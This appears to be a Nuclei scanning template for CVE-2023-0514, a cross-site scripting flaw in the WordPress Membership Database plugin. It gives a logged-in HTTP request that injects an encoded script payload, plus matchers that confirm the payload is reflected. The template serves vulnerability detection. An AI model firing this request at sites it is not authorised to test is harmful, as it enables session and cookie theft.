Membership Database before 1.0 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
PoC代码[已公开]
id: CVE-2023-0514
info:
name: Membership Database <= 1.0 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
Membership Database before 1.0 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Upgrade to a patched version of the Membership Database software or apply the necessary security patches provided by the vendor.
reference:
- https://wpscan.com/vulnerability/c6cc400a-9bfb-417d-9206-5582a49d0f05
- https://wordpress.org/plugins/member-database/
- https://nvd.nist.gov/vuln/detail/CVE-2023-0514
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-0514
cwe-id: CWE-79
epss-score: 0.09688
epss-percentile: 0.92633
cpe: cpe:2.3:a:membership_database_project:membership_database:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: membership_database_project
product: membership_database
framework: wordpress
tags: cve2023,cve,wpscan,membership-database,wp,wp-plugin,wordpress,authenticated,xss,membership_database_project
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
POST /wp-admin/admin.php?page=member-database%2Flist_members.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=sort&where=id&operator=%3D&value=asd%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%2F%2F&sortBy=id&ascdesc=asc
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(content_type_2, "text/html")'
- 'contains(body_2, "<script>alert(document.domain)</script>")'
- 'contains(body_2, "Member Database")'
condition: and
# digest: 490a0046304402204aba915a945d4249853b0253a829827ff09156b7fd2316056ff358eb15b6b96602206a1c1657c86e4ac99b272b38b46f5e4f56e5d9f8a1442cfbbd2f4da4289a436d:922c64590222798bb761d5b6d8e72950